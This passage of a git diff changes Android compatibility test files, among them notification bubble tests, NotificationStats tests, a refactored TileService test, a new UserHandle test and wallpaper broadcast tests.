-        assertNotNull("priorityCategories with a non-relevant int returns a string", oneString);
+        assertNotNull("priorityCategories with a non-relevant int returns a string",
+                badNumberString);
     }
 
     public void testNotificationManagerPolicy_prioritySendersToString() {
@@ -2600,36 +2963,11 @@
             // turn on bubbles globally
             toggleBubbleSetting(true);
 
-            final CountDownLatch latch = new CountDownLatch(2);
-            BroadcastReceiver receiver = new BroadcastReceiver() {
-                @Override
-                public void onReceive(Context context, Intent intent) {
-                    latch.countDown();
-                }
-            };
-            IntentFilter filter = new IntentFilter(BubblesTestActivity.BUBBLE_ACTIVITY_OPENED);
-            mContext.registerReceiver(receiver, filter);
-
             // Start & get the activity
-            BubblesTestActivity a = (BubblesTestActivity) launchSendBubbleActivity();
+            SendBubbleActivity a = startSendBubbleActivity();
 
-            // Make sure device is unlocked
-            KeyguardManager keyguardManager =
-                    (KeyguardManager) mContext.getSystemService(Context.KEYGUARD_SERVICE);
-            keyguardManager.requestDismissKeyguard(a, new KeyguardManager.KeyguardDismissCallback() {
-                @Override
-                public void onDismissSucceeded() {
-                    latch.countDown();
-                }
-            });
-            try {
-                latch.await(100, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-
-            // Should be foreground now
-            a.sendBubble(1);
+            // Send a bubble from foreground
+            a.sendBubble(4000, false /* autoExpand */);
 
             boolean shouldBeBubble = !mActivityManager.isLowRamDevice();
 
@@ -2643,7 +2981,7 @@
             homeHelper.goHome();
 
             // The notif should be allowed to update as a bubble
-            a.sendBubble(2);
+            a.sendBubble(4001, false /* autoExpand */);
 
             if (!checkNotificationExistence(BUBBLE_NOTIF_ID,
                     true /* shouldExist */, shouldBeBubble)) {
@@ -2654,14 +2992,14 @@
             cancelAndPoll(BUBBLE_NOTIF_ID);
 
             // Send it again when not foreground, this should not be a bubble & just be a notif
-            a.sendBubble(3);
+            a.sendBubble(4002, false /* autoExpand */);
             if (!checkNotificationExistence(BUBBLE_NOTIF_ID,
                     true /* shouldExist */, false /* shouldBeBubble */)) {
                 fail("couldn't find posted notification with id=" + BUBBLE_NOTIF_ID
                         + " or it was a bubble when it shouldn't be");
             }
 
-            mContext.unregisterReceiver(receiver);
+            cleanupSendBubbleActivity();
             homeHelper.close();
         } finally {
             // turn off bubbles globally
@@ -2669,75 +3007,60 @@
         }
     }
 
-    public void testNotificationManagerBubblePolicy_noFlag_notEmbeddable() throws Exception {
-        Person person = new Person.Builder()
-                .setName("bubblebot")
-                .build();
+    public void testNotificationManagerBubble_ensureFlaggedDocumentLaunchMode() throws Exception {
+        try {
+            // turn on bubbles globally
+            toggleBubbleSetting(true);
 
-        RemoteInput remoteInput = new RemoteInput.Builder("reply_key").setLabel("reply").build();
-        PendingIntent inputIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
-        Icon icon = Icon.createWithResource(mContext, android.R.drawable.sym_def_app_icon);
-        Notification.Action replyAction = new Notification.Action.Builder(icon, "Reply",
-                inputIntent).addRemoteInput(remoteInput)
-                .build();
+            // make ourselves foreground so we can auto-expand the bubble & check the intent flags
+            SendBubbleActivity a = startSendBubbleActivity();
 
-        Notification.Builder nb = new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
-                .setContentTitle("foo")
-                .setStyle(new Notification.MessagingStyle(person)
-                        .setConversationTitle("Bubble Chat")
-                        .addMessage("Hello?",
-                                SystemClock.currentThreadTimeMillis() - 300000, person)
-                        .addMessage("Is it me you're looking for?",
-                                SystemClock.currentThreadTimeMillis(), person)
-                )
-                .setActions(replyAction)
-                .setSmallIcon(android.R.drawable.sym_def_app_icon);
+            // Prep to find bubbled activity
+            Class clazz = BubbledActivity.class;
+            Instrumentation.ActivityResult result =
+                    new Instrumentation.ActivityResult(0, new Intent());
+            Instrumentation.ActivityMonitor monitor =
+                    new Instrumentation.ActivityMonitor(clazz.getName(), result, false);
+            InstrumentationRegistry.getInstrumentation().addMonitor(monitor);
 
-        final Intent intent = new Intent(mContext, BubblesTestNotEmbeddableActivity.class);
-        final PendingIntent pendingIntent =
-                PendingIntent.getActivity(mContext, 0, intent, 0);
+            a.sendBubble(4003, true /* autoExpand */);
 
-        Notification.BubbleMetadata.Builder metadataBuilder =
-                new Notification.BubbleMetadata.Builder()
-                        .setIntent(pendingIntent)
-                        .setIcon(Icon.createWithResource(mContext, R.drawable.black));
+            boolean shouldBeBubble = !mActivityManager.isLowRamDevice();
+            if (!checkNotificationExistence(BUBBLE_NOTIF_ID,
+                    true /* shouldExist */, shouldBeBubble)) {
+                fail("couldn't find posted notification bubble with id=" + BUBBLE_NOTIF_ID);
+            }
 
-        sendAndVerifyBubble(1, nb, metadataBuilder.build(), false);
+            InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+
+            BubbledActivity activity = (BubbledActivity) monitor.waitForActivity();
+            assertTrue((activity.getIntent().getFlags() & FLAG_ACTIVITY_NEW_DOCUMENT) != 0);
+            assertTrue((activity.getIntent().getFlags() & FLAG_ACTIVITY_MULTIPLE_TASK) != 0);
+
+            cleanupSendBubbleActivity();
+        } finally {
+            // turn off bubbles globally
+            toggleBubbleSetting(false);
+        }
     }
 
-    public void testNotificationManagerBubblePolicy_noFlag_notDocumentLaunchModeAlways() throws Exception {
-        Person person = new Person.Builder()
-                .setName("bubblebot")
-                .build();
+    public void testOriginalChannelImportance() {
+        NotificationChannel channel = new NotificationChannel(
+                "my channel", "my channel", IMPORTANCE_HIGH);
 
-        RemoteInput remoteInput = new RemoteInput.Builder("reply_key").setLabel("reply").build();
-        PendingIntent inputIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
-        Icon icon = Icon.createWithResource(mContext, android.R.drawable.sym_def_app_icon);
-        Notification.Action replyAction = new Notification.Action.Builder(icon, "Reply",
-                inputIntent).addRemoteInput(remoteInput)
-                .build();
+        mNotificationManager.createNotificationChannel(channel);
 
-        Notification.Builder nb = new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
-                .setContentTitle("foo")
-                .setStyle(new Notification.MessagingStyle(person)
-                        .setConversationTitle("Bubble Chat")
-                        .addMessage("Hello?",
-                                SystemClock.currentThreadTimeMillis() - 300000, person)
-                        .addMessage("Is it me you're looking for?",
-                                SystemClock.currentThreadTimeMillis(), person)
-                )
-                .setActions(replyAction)
-                .setSmallIcon(android.R.drawable.sym_def_app_icon);
+        NotificationChannel actual = mNotificationManager.getNotificationChannel(channel.getId());
+        assertEquals(IMPORTANCE_HIGH, actual.getImportance());
+        assertEquals(IMPORTANCE_HIGH, actual.getOriginalImportance());
 
-        final Intent intent = new Intent(mContext, BubblesTestNotDocumentLaunchModeActivity.class);
-        final PendingIntent pendingIntent =
-                PendingIntent.getActivity(mContext, 0, intent, 0);
+        // Apps are allowed to downgrade channel importance if the user has not changed any
+        // fields on this channel yet.
+        channel.setImportance(IMPORTANCE_DEFAULT);
+        mNotificationManager.createNotificationChannel(channel);
 
-        Notification.BubbleMetadata.Builder metadataBuilder =
-                new Notification.BubbleMetadata.Builder()
-                        .setIntent(pendingIntent)
-                        .setIcon(Icon.createWithResource(mContext, R.drawable.black));
-
-        sendAndVerifyBubble(1, nb, metadataBuilder.build(), false);
+        actual = mNotificationManager.getNotificationChannel(channel.getId());
+        assertEquals(IMPORTANCE_DEFAULT, actual.getImportance());
+        assertEquals(IMPORTANCE_HIGH, actual.getOriginalImportance());
     }
 }
diff --git a/tests/app/src/android/app/cts/NotificationStatsTest.java b/tests/app/src/android/app/cts/NotificationStatsTest.java
index 6e3d34c..a37191d 100644
--- a/tests/app/src/android/app/cts/NotificationStatsTest.java
+++ b/tests/app/src/android/app/cts/NotificationStatsTest.java
@@ -16,6 +16,10 @@
 
 package android.app.cts;
 
+import static android.service.notification.NotificationStats.DISMISSAL_PEEK;
+import static android.service.notification.NotificationStats.DISMISS_SENTIMENT_NEGATIVE;
+
+import android.os.Parcel;
 import android.service.notification.NotificationStats;
 import android.test.AndroidTestCase;
 
@@ -43,4 +47,77 @@
                 notificationStats.getDismissalSentiment());
     }
 
+    public void testConstructor() {
+        NotificationStats stats = new NotificationStats();
+
+        assertFalse(stats.hasSeen());
+        assertFalse(stats.hasDirectReplied());
+        assertFalse(stats.hasExpanded());
+        assertFalse(stats.hasInteracted());
+        assertFalse(stats.hasViewedSettings());
+        assertFalse(stats.hasSnoozed());
+        assertEquals(NotificationStats.DISMISSAL_NOT_DISMISSED, stats.getDismissalSurface());
+        assertEquals(NotificationStats.DISMISS_SENTIMENT_UNKNOWN, stats.getDismissalSentiment());
+    }
+
+    public void testSeen() {
+        NotificationStats stats = new NotificationStats();
+        stats.setSeen();
+        assertTrue(stats.hasSeen());
+        assertFalse(stats.hasInteracted());
+    }
+
+    public void testDirectReplied() {
+        NotificationStats stats = new NotificationStats();
+        stats.setDirectReplied();
+        assertTrue(stats.hasDirectReplied());
+        assertTrue(stats.hasInteracted());
+    }
+
+    public void testExpanded() {
+        NotificationStats stats = new NotificationStats();
+        stats.setExpanded();
+        assertTrue(stats.hasExpanded());
+        assertTrue(stats.hasInteracted());
+    }
+
+    public void testSnoozed() {
+        NotificationStats stats = new NotificationStats();
+        stats.setSnoozed();
+        assertTrue(stats.hasSnoozed());
+        assertTrue(stats.hasInteracted());
+    }
+
+    public void testViewedSettings() {
+        NotificationStats stats = new NotificationStats();
+        stats.setViewedSettings();
+        assertTrue(stats.hasViewedSettings());
+        assertTrue(stats.hasInteracted());
+    }
+
+    public void testDismissalSurface() {
+        NotificationStats stats = new NotificationStats();
+        stats.setDismissalSurface(DISMISSAL_PEEK);
+        assertEquals(DISMISSAL_PEEK, stats.getDismissalSurface());
+        assertFalse(stats.hasInteracted());
+    }
+
+    public void testDismissalSentiment() {
+        NotificationStats stats = new NotificationStats();
+        stats.setDismissalSentiment(DISMISS_SENTIMENT_NEGATIVE);
+        assertEquals(DISMISS_SENTIMENT_NEGATIVE, stats.getDismissalSentiment());
+        assertFalse(stats.hasInteracted());
+    }
+
+    public void testWriteToParcel() {
+        NotificationStats stats = new NotificationStats();
+        stats.setViewedSettings();
+        stats.setDismissalSurface(NotificationStats.DISMISSAL_AOD);
+        stats.setDismissalSentiment(NotificationStats.DISMISS_SENTIMENT_POSITIVE);
+        Parcel parcel = Parcel.obtain();
+        stats.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        NotificationStats stats1 = NotificationStats.CREATOR.createFromParcel(parcel);
+        assertEquals(stats, stats1);
+    }
 }
diff --git a/tests/app/src/android/app/cts/NotificationTest.java b/tests/app/src/android/app/cts/NotificationTest.java
index 4bde253..f0235f2 100644
--- a/tests/app/src/android/app/cts/NotificationTest.java
+++ b/tests/app/src/android/app/cts/NotificationTest.java
@@ -707,23 +707,6 @@
         }
     }
 
-    public void testBubbleMetadataBuilder_throwForBitmapIcon() {
-        Bitmap b = Bitmap.createBitmap(50, 25, Bitmap.Config.ARGB_8888);
-        new Canvas(b).drawColor(0xffff0000);
-        Icon icon = Icon.createWithBitmap(b);
-
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
-        try {
-            Notification.BubbleMetadata.Builder metadataBuilder =
-                    new Notification.BubbleMetadata.Builder()
-                            .setIcon(icon)
-                            .setIntent(bubbleIntent);
-            fail("Should have thrown IllegalArgumentException, invalid icon type (bitmap)");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-    }
-
     public void testBubbleMetadataBuilder_noThrowForAdaptiveBitmapIcon() {
         Bitmap b = Bitmap.createBitmap(50, 25, Bitmap.Config.ARGB_8888);
         new Canvas(b).drawColor(0xffff0000);
diff --git a/tests/app/src/android/app/cts/PipActivityTest.java b/tests/app/src/android/app/cts/PipActivityTest.java
deleted file mode 100644
index 092756c..0000000
--- a/tests/app/src/android/app/cts/PipActivityTest.java
+++ /dev/null
@@ -1,127 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.app.cts;
-
-import static android.content.pm.PackageManager.FEATURE_PICTURE_IN_PICTURE;
-
-import static org.junit.Assert.fail;
-
-import android.app.Instrumentation;
-import android.app.PictureInPictureParams;
-import android.app.stubs.PipActivity;
-import android.content.ComponentName;
-import android.content.Intent;
-import android.os.SystemClock;
-import android.platform.test.annotations.Presubmit;
-import android.test.ActivityInstrumentationTestCase2;
-
-import androidx.test.filters.FlakyTest;
-
-import java.util.function.BooleanSupplier;
-
-/**
- * Run: atest android.app.cts.PipActivityTest
- */
-@Presubmit
-@FlakyTest(detail = "Promote to presubmit when shown to be stable.")
-public class PipActivityTest extends ActivityInstrumentationTestCase2<PipActivity> {
-
-    private static final long TIME_SLICE_MS = 250;
-    private static final long MAX_WAIT_MS = 5000;
-
-    private Instrumentation mInstrumentation;
-    private PipActivity mActivity;
-
-    public PipActivityTest() {
-        super("android.app.stubs", PipActivity.class);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mInstrumentation = getInstrumentation();
-        mActivity = getActivity();
-    }
-
-    public void testLaunchPipActivity() throws Throwable {
-        final boolean supportsPip =
-                mActivity.getPackageManager().hasSystemFeature(FEATURE_PICTURE_IN_PICTURE);
-
-        if (supportsPip) {
-            mActivity.enterPictureInPictureMode();
-
-            // Entering PIP mode is not synchronous, so wait for the expected callbacks
-            waitAndAssertCondition(() -> {
-                return mActivity.getMultiWindowChangedCount() == 1 &&
-                        mActivity.getPictureInPictureModeChangedCount() == 1;
-            }, "Pip/mw changed when going into picture-in-picture mode");
-
-            // Ensure that the current state and also the last reported callback values match
-            assertTrue(mActivity.isInMultiWindowMode());
-            assertTrue(mActivity.isInPictureInPictureMode());
-            assertTrue(mActivity.getLastReportedMultiWindowMode());
-            assertTrue(mActivity.getLastReporterPictureInPictureMode());
-        } else {
-            assertTrue(!mActivity.enterPictureInPictureMode(
-                    new PictureInPictureParams.Builder().build()));
-
-            // Entering PIP mode is not synchronous, so waiting for completion of all work
-            SystemClock.sleep(5000);
-
-            // Ensure that the current state and also the last reported callback
-            // values match
-            assertFalse(mActivity.isInMultiWindowMode());
-            assertFalse(mActivity.isInPictureInPictureMode());
-            assertFalse(mActivity.getLastReportedMultiWindowMode());
-            assertFalse(mActivity.getLastReporterPictureInPictureMode());
-        }
-        mInstrumentation.waitForIdleSync();
-
-        if (supportsPip) {
-            // Relaunch the activity to make it fullscreen
-            Intent intent = Intent.makeMainActivity(new ComponentName("android.app.stubs",
-                    "android.app.stubs.PipActivity"));
-            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_SINGLE_TOP);
-            mInstrumentation.getContext().startActivity(intent);
-
-            // Exiting PIP mode is not synchronous, so wait for the expected callbacks
-            waitAndAssertCondition(() -> {
-                return mActivity.getMultiWindowChangedCount() == 2 &&
-                        mActivity.getPictureInPictureModeChangedCount() == 2;
-            }, "Pip/mw callback when going to fullscreen mode");
-
-            // Ensure that the current state and also the last reported callback values match
-            assertFalse(mActivity.getLastReportedMultiWindowMode());
-            assertFalse(mActivity.getLastReporterPictureInPictureMode());
-        }
-    }
-
-    private void waitAndAssertCondition(BooleanSupplier condition, String failMsgContext) {
-        long startTime = SystemClock.elapsedRealtime();
-        while (true) {
-            if (condition.getAsBoolean()) {
-                // Condition passed
-                return;
-            } else if (SystemClock.elapsedRealtime() > (startTime + MAX_WAIT_MS)) {
-                // Timed out
-                fail("Timed out waiting for: " + failMsgContext);
-            } else {
-                SystemClock.sleep(TIME_SLICE_MS);
-            }
-        }
-    }
-}
diff --git a/tests/app/src/android/app/cts/TileServiceTest.java b/tests/app/src/android/app/cts/TileServiceTest.java
index 35faf28..9b40fdd 100644
--- a/tests/app/src/android/app/cts/TileServiceTest.java
+++ b/tests/app/src/android/app/cts/TileServiceTest.java
@@ -18,116 +18,48 @@
 
 import android.app.AlertDialog;
 import android.app.Dialog;
-import android.app.UiAutomation;
 import android.app.stubs.TestTileService;
-import android.content.Intent;
-import android.content.pm.PackageManager;
 import android.os.Looper;
-import android.os.ParcelFileDescriptor;
 import android.service.quicksettings.Tile;
 import android.service.quicksettings.TileService;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.Until;
-import android.test.AndroidTestCase;
 
-import androidx.test.filters.FlakyTest;
-import androidx.test.InstrumentationRegistry;
-
-import junit.framework.Assert;
-
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-
-public class TileServiceTest extends AndroidTestCase {
-    final String TAG = TileServiceTest.class.getSimpleName();
-
-    // Time between checks for state we expect.
-    private static final long CHECK_DELAY = 250;
-    // Number of times to check before failing. This is set so the maximum wait time is about 4s,
-    // as some tests were observed to take around 3s.
-    private static final long CHECK_RETRIES = 15;
-    // Timeout to wait for launcher
-    private static final long TIMEOUT = 8000;
-
-    private TileService mTileService;
-    private Intent homeIntent;
-    private String mLauncherPackage;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        homeIntent = new Intent(Intent.ACTION_MAIN);
-        homeIntent.addCategory(Intent.CATEGORY_HOME);
-
-        mLauncherPackage = mContext.getPackageManager().resolveActivity(homeIntent,
-                PackageManager.MATCH_DEFAULT_ONLY).activityInfo.packageName;
-
-        // Wait for home
-        UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-        device.pressHome();
-        device.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        expandSettings(false);
-        toggleServiceAccess(TestTileService.getComponentName().flattenToString(), false);
-        waitForConnected(false);
-        assertNull(TestTileService.getInstance());
-    }
+public class TileServiceTest extends BaseTileServiceTest {
+    private final static String TAG = "TileServiceTest";
 
     public void testCreateTileService() {
         final TileService tileService = new TileService();
     }
 
+
     public void testListening() throws Exception {
         if (!TileService.isQuickSettingsSupported()) return;
-        startTileService();
-        expandSettings(true);
-        waitForListening(true);
+        initializeAndListen();
     }
 
     public void testListening_stopped() throws Exception {
-        if (!TileService.isQuickSettingsSupported()) return;
-        startTileService();
-        expandSettings(true);
-        waitForListening(true);
+        initializeAndListen();
         expandSettings(false);
         waitForListening(false);
     }
 
     public void testLocked_deviceNotLocked() throws Exception {
-        if (!TileService.isQuickSettingsSupported()) return;
-        startTileService();
-        expandSettings(true);
-        waitForListening(true);
+        initializeAndListen();
         assertFalse(mTileService.isLocked());
     }
 
     public void testSecure_deviceNotSecure() throws Exception {
-        if (!TileService.isQuickSettingsSupported()) return;
-        startTileService();
-        expandSettings(true);
-        waitForListening(true);
+        initializeAndListen();
         assertFalse(mTileService.isSecure());
     }
     
     public void testTile_hasCorrectIcon() throws Exception {
-        if (!TileService.isQuickSettingsSupported()) return;
-        startTileService();
-        expandSettings(true);
-        waitForListening(true);
+        initializeAndListen();
         Tile tile = mTileService.getQsTile();
         assertEquals(TestTileService.ICON_ID, tile.getIcon().getResId());
     }
 
     public void testTile_hasCorrectSubtitle() throws Exception {
-        if (!TileService.isQuickSettingsSupported()) return;
-        startTileService();
-        expandSettings(true);
-        waitForListening(true);
+        initializeAndListen();
 
         Tile tile = mTileService.getQsTile();
         tile.setSubtitle("test_subtitle");
@@ -136,12 +68,9 @@
     }
 
     public void testShowDialog() throws Exception {
-        if (!TileService.isQuickSettingsSupported()) return;
         Looper.prepare();
         Dialog dialog = new AlertDialog.Builder(mContext).create();
-        startTileService();
-        expandSettings(true);
-        waitForListening(true);
+        initializeAndListen();
         clickTile(TestTileService.getComponentName().flattenToString());
         waitForClick();
 
@@ -152,10 +81,7 @@
     }
 
     public void testUnlockAndRun_phoneIsUnlockedActivityIsRun() throws Exception {
-        if (!TileService.isQuickSettingsSupported()) return;
-        startTileService();
-        expandSettings(true);
-        waitForListening(true);
+        initializeAndListen();
         assertFalse(mTileService.isLocked());
 
         TestRunnable testRunnable = new TestRunnable();
@@ -165,40 +91,19 @@
         waitForRun(testRunnable);
     }
 
-    private void startTileService() throws Exception {
-        toggleServiceAccess(TestTileService.getComponentName().flattenToString(), true);
-        waitForConnected(true); // wait for service to be bound
-        mTileService = TestTileService.getInstance();
-        assertNotNull(mTileService);
-    }
+    public void testTileInDumpAndHasState() throws Exception {
+        initializeAndListen();
 
-    private void toggleServiceAccess(String componentName, boolean on) throws Exception {
+        final CharSequence tileLabel = mTileService.getQsTile().getLabel();
 
-        String command = " cmd statusbar " + (on ? "add-tile " : "remove-tile ")
-                + componentName;
-
-        runCommand(command);
+        final String[] dumpLines = executeShellCommand(DUMP_COMMAND).split("\n");
+        final String line = findLine(dumpLines, tileLabel);
+        assertNotNull(line);
+        assertTrue(line.trim().startsWith("State")); // Not BooleanState
     }
 
     private void clickTile(String componentName) throws Exception {
-        runCommand(" cmd statusbar click-tile " + componentName);
-    }
-
-    private void runCommand(String command) throws IOException {
-        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        // Execute command
-        try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
-            Assert.assertNotNull("Failed to execute shell command: " + command, fd);
-            // Wait for the command to finish by reading until EOF
-            try (InputStream in = new FileInputStream(fd.getFileDescriptor())) {
-                byte[] buffer = new byte[4096];
-                while (in.read(buffer) > 0) {}
-            } catch (IOException e) {
-                throw new IOException("Could not read stdout of command: " + command, e);
-            }
-        } finally {
-            uiAutomation.destroy();
-        }
+        executeShellCommand(" cmd statusbar click-tile " + componentName);
     }
 
     /**
@@ -225,13 +130,8 @@
         assertTrue(t.hasRan);
     }
 
-    /**
-     * Waits for the TileService to be in the expected listening state. If it times out, it fails
-     * the test
-     * @param state desired listening state
-     * @throws InterruptedException
-     */
-    private void waitForListening(boolean state) throws InterruptedException {
+    @Override
+    protected void waitForListening(boolean state) throws InterruptedException {
         int ct = 0;
         while (TestTileService.isListening() != state && (ct++ < CHECK_RETRIES)) {
             Thread.sleep(CHECK_DELAY);
@@ -245,7 +145,8 @@
      * @param state desired connected state
      * @throws InterruptedException
      */
-    private void waitForConnected(boolean state) throws InterruptedException {
+    @Override
+    protected void waitForConnected(boolean state) throws InterruptedException {
         int ct = 0;
         while (TestTileService.isConnected() != state && (ct++ < CHECK_RETRIES)) {
             Thread.sleep(CHECK_DELAY);
@@ -253,9 +154,19 @@
         assertEquals(state, TestTileService.isConnected());
     }
 
-    private void expandSettings(boolean expand) throws Exception {
-        runCommand(" cmd statusbar " + (expand ? "expand-settings" : "collapse"));
-        Thread.sleep(200); // wait for animation
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+
+    @Override
+    protected String getComponentName() {
+        return TestTileService.getComponentName().flattenToString();
+    }
+
+    @Override
+    protected TileService getTileServiceInstance() {
+        return TestTileService.getInstance();
     }
 
     class TestRunnable implements Runnable {
diff --git a/tests/app/src/android/app/cts/UserHandleTest.java b/tests/app/src/android/app/cts/UserHandleTest.java
new file mode 100644
index 0000000..342ee36
--- /dev/null
+++ b/tests/app/src/android/app/cts/UserHandleTest.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import android.os.Parcel;
+import android.os.UserHandle;
+import android.test.AndroidTestCase;
+
+public class UserHandleTest extends AndroidTestCase {
+    private static void assertSameUserHandle(int userId) {
+        assertSame(UserHandle.of(userId), UserHandle.of(userId));
+    }
+
+    public void testOf() {
+        for (int i = -1000; i < 100; i++) {
+            assertEquals(i, UserHandle.of(i).getIdentifier());
+        }
+
+        // Ensure common objects are cached.
+        assertSameUserHandle(UserHandle.USER_SYSTEM);
+        assertSameUserHandle(UserHandle.USER_ALL);
+        assertSameUserHandle(UserHandle.USER_NULL);
+        assertSameUserHandle(UserHandle.MIN_SECONDARY_USER_ID);
+        assertSameUserHandle(UserHandle.MIN_SECONDARY_USER_ID + 1);
+    }
+
+    private static void assertParcel(int userId) {
+        Parcel p = Parcel.obtain();
+        p.writeParcelable(UserHandle.of(userId), 0);
+        p.setDataPosition(0);
+
+        UserHandle read = p.readParcelable(UserHandleTest.class.getClassLoader());
+
+        assertEquals(userId, read.getIdentifier());
+
+        p.recycle();
+    }
+
+    public void testParcel() {
+        for (int i = -1000; i < 100; i++) {
+            assertParcel(i);
+        }
+    }
+}
diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java
index fe5f183..7c284b0 100644
--- a/tests/app/src/android/app/cts/WallpaperManagerTest.java
+++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java
@@ -16,11 +16,11 @@
 
 package android.app.cts;
 
+import static org.junit.Assume.assumeTrue;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.anyInt;
 import static org.mockito.ArgumentMatchers.nullable;
 import static org.mockito.Mockito.atLeast;
-import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.never;
 import static org.mockito.Mockito.spy;
 import static org.mockito.Mockito.verify;
@@ -46,6 +46,9 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
@@ -66,15 +69,36 @@
     private WallpaperManager mWallpaperManager;
     private Context mContext;
     private Handler mHandler;
+    private BroadcastReceiver mBroadcastReceiver;
+    private CountDownLatch mCountDownLatch;
 
     @Before
     public void setUp() throws Exception {
         MockitoAnnotations.initMocks(this);
         mContext = InstrumentationRegistry.getTargetContext();
         mWallpaperManager = WallpaperManager.getInstance(mContext);
+        assumeTrue("Device does not support wallpapers", mWallpaperManager.isWallpaperSupported());
         final HandlerThread handlerThread = new HandlerThread("TestCallbacks");
         handlerThread.start();
         mHandler = new Handler(handlerThread.getLooper());
+        mCountDownLatch = new CountDownLatch(1);
+        mBroadcastReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                mCountDownLatch.countDown();
+                if (DEBUG) {
+                    Log.d(TAG, "broadcast state count down: " + mCountDownLatch.getCount());
+                }
+            }
+        };
+        mContext.registerReceiver(mBroadcastReceiver,
+                new IntentFilter(Intent.ACTION_WALLPAPER_CHANGED));
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        mWallpaperManager.clear();
+        mContext.unregisterReceiver(mBroadcastReceiver);
     }
 
     @Test
@@ -117,22 +141,12 @@
         Canvas canvas = new Canvas(tmpWallpaper);
         canvas.drawColor(Color.BLACK);
 
-        CountDownLatch latch = new CountDownLatch(1);
-        mContext.registerReceiver(new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                latch.countDown();
-            }
-        }, new IntentFilter(Intent.ACTION_WALLPAPER_CHANGED));
-
         try {
             mWallpaperManager.setBitmap(tmpWallpaper);
 
             // Wait for up to 5 sec since this is an async call.
             // Should fail if Intent.ACTION_WALLPAPER_CHANGED isn't delivered.
-            if (!latch.await(5, TimeUnit.SECONDS)) {
-                throw new AssertionError("Intent.ACTION_WALLPAPER_CHANGED not received.");
-            }
+            Assert.assertTrue(mCountDownLatch.await(5, TimeUnit.SECONDS));
         } catch (InterruptedException | IOException e) {
             throw new AssertionError("Intent.ACTION_WALLPAPER_CHANGED not received.");
         } finally {
@@ -142,22 +156,12 @@
 
     @Test
     public void wallpaperClearBroadcastTest() {
-        CountDownLatch latch = new CountDownLatch(1);
-        mContext.registerReceiver(new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                latch.countDown();
-            }
-        }, new IntentFilter(Intent.ACTION_WALLPAPER_CHANGED));
-
         try {
             mWallpaperManager.clear(WallpaperManager.FLAG_LOCK | WallpaperManager.FLAG_SYSTEM);
 
             // Wait for 5 sec since this is an async call.
             // Should fail if Intent.ACTION_WALLPAPER_CHANGED isn't delivered.
-            if (!latch.await(5, TimeUnit.SECONDS)) {
-                throw new AssertionError("Intent.ACTION_WALLPAPER_CHANGED not received.");
-            }
+            Assert.assertTrue(mCountDownLatch.await(5, TimeUnit.SECONDS));
         } catch (InterruptedException | IOException e) {
             throw new AssertionError(e);
         }
@@ -299,6 +303,63 @@
         }
     }
 
+    @Test
+    public void highRatioWallpaper_largeWidth() throws Exception {
+        final String sysuiPid = getSysuiPid();
+        Bitmap highRatioWallpaper = Bitmap.createBitmap(800, 8000, Bitmap.Config.ARGB_8888);
+        Canvas canvas = new Canvas(highRatioWallpaper);
+        canvas.drawColor(Color.RED);
+
+        try {
+            mWallpaperManager.setBitmap(highRatioWallpaper);
+
+            Assert.assertTrue(mCountDownLatch.await(5, TimeUnit.SECONDS));
+            Assert.assertTrue(sysuiPid.contentEquals(getSysuiPid()));
+        } finally {
+            highRatioWallpaper.recycle();
+        }
+    }
+
+    @Test
+    public void highRatioWallpaper_largeHeight() throws Exception {
+        final String sysuiPid = getSysuiPid();
+        Bitmap highRatioWallpaper = Bitmap.createBitmap(8000, 800, Bitmap.Config.ARGB_8888);
